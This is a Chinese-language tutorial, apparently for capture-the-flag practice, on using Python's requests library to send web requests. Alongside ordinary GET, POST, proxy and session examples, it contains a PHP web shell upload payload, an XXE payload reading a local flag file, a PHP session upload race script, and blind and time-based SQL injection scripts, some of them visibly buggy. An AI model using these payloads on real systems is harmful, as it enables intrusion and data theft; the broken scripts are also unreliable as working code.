python的requests库应用

基本用法

get

Python | 复制代码

```python
import requests

url = "http://localhost:8024/"

response = requests.get(url=url)
print(response.status_code)
print(response.text)
```

使用post

```python
import requests

url = "http://localhost:8024/"
data = {"usernmae":"admin","passwd":"123456"}
response = requests.post(url=url,data=data)
print(response.status_code)
print(response.text)

```

burp抓包

```python
import requests

url = "http://localhost:8024/"
data = {"usernmae":"admin","passwd":"123456"}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
response = requests.post(url=url,data=data,proxies=proxies)
print(response.status_code)
```

headers、cookies伪造

```python
import requests

url = "http://localhost:9003/"
data = {"usernmae":"admin","passwd":"123456"}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
headers = {"Upgrade-Insecure-Requests":"1",
           "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67",
           "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
           "Accept-Encoding":"gzip, deflate"
           }
cookies = {"XDEBUG_SESSION":"PHPSTORM"}

response = requests.post(url=url,data=data,proxies=proxies,headers=headers)
print(response.status_code)
print(response.text)
```

文件上传

python写入多行内容

```python
import requests

url = "http://localhost:9003/"

content = """
<?php
eval($_POST[1]);?>

"""
files = {"file":content}


response = requests.post(url=url,files=files)
print(response.status_code)
print(response.text)
```

打开本地文件

```python
import requests

url = "http://localhost:9003/"
data = {"usernmae":"admin","passwd":"123456"}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
headers = {"Upgrade-Insecure-Requests":"1",
           "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67",
           "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
           "Accept-Encoding":"gzip, deflate"
           }
cookies = {"XDEBUG_SESSION":"PHPSTORM"}
files = {"file":("1.text",open("1.text","rb").read())}
files2 = {"file[]":("1.text",open("1.text","rb").read())}
response = requests.post(url=url,data=data,proxies=proxies,headers=headers,files=files)
print(response.status_code)
print(response.text)
```

用元组表示文件内容，前者为要上传的文件名，后者为文件内容。

其它格式的post

Json发送

Python | 复制代码

```python
import requests

url = "http://localhost:9003/"


json = {"username":"password"}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
response = requests.post(url=url,json=json,proxies=proxies)
print(response.status_code)
print(response.text)
```

xml文档

```python
import requests

url = "http://localhost:9003/"


xml = """
<!DOCTYPE web [
<!ENTITY file SYSTEM "file:///flag">
]>
<result>
<ctf></ctf>
<web>&file;</web>
</result>
"""
headers = {
    "Content-Type": "application/xml",

}
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
response = requests.post(url=url,proxies=proxies,data=xml,headers=headers)
print(response.status_code)
print(response.text)
```

记得头部文件写一下Content-Type的类型

session

创建一个session对象发送请求，

Python | 复制代码

```python
import requests

url = "http://localhost:9003/"


session = requests.Session()
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
response = session.get(url=url,proxies=proxies)
print(response.status_code)
print(response.text)
```

```python
import threading

import requests

# import io
# import threading

url = "http://localhost:9003/"
data = {'PHP_SESSION_UPLOAD_PROGRESS': "114514"}
aaa = "aaaa"
files = {"1.jpg": "12323131231"}
cookies = {'PHPSESSID': aaa}
session = requests.session()
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}

def write():
    while True:
        r = session.post(url, data=data, files=files, cookies=cookies)
        print(r.text)


def read():
    while True:
        new_url = url + "http://localhost:9003/"
        r1 = session.get(new_url)
        if "upload_progress_" in aaa.text:
            print("上传成功")
            break


if __name__ == "__main__":
    t1 = threading.Thread(target=read)
    t2 = threading.Thread(target=write)
    t1.start()
    t2.start()

```

通过双线程，第一次访问保留session文件，第二次访问就会有session。

爆破

比较常用的就是sql盲注。

简单的盲注

```python
import requests

url = ""
String = "1234567890abcdefghijklmnopqrstuvwxyz_"

table_name = "select group_concat(table_name) from information_schema.tables where table_schema=database() "
column_name = "select group_concat(column_name) from information_schema.columns where table_schema='xxx'"
flag = ""
for j in range(1,40):

    for i in String:
        payload = f"?username=' or if(substr(({table_name}),{j},1)={i},1,0)#"
        res = requests.get(url=url+payload)
        if "xx" in res.text:
            flag +=i
            break
print(flag)


```

时间盲注之二分优化版本

Python | 复制代码

```python
import requests

url = ""
String = "1234567890abcdefghijklmnopqrstuvwxyz_"

table_name = "select group_concat(table_name) from information_schema.tables where table_schema=database() "
column_name = "select group_concat(column_name) from information_schema.columns where table_schema='xxx'"
flag = ""
while True:
    head = 32
    tail = 127
    for i in range(1,40):
        mid = (head+tail)>>1
        payload = f"?username = ' or if(substr(({table_name}),{i},1)>{mid},1,sleep(2)))#"
        try:
            res = requests.get(url=url+payload,timeout=1.5)
            head = mid


        except:
            tail = mid
            continue
    if head >=tail:
        flag+=mid
print(flag)
```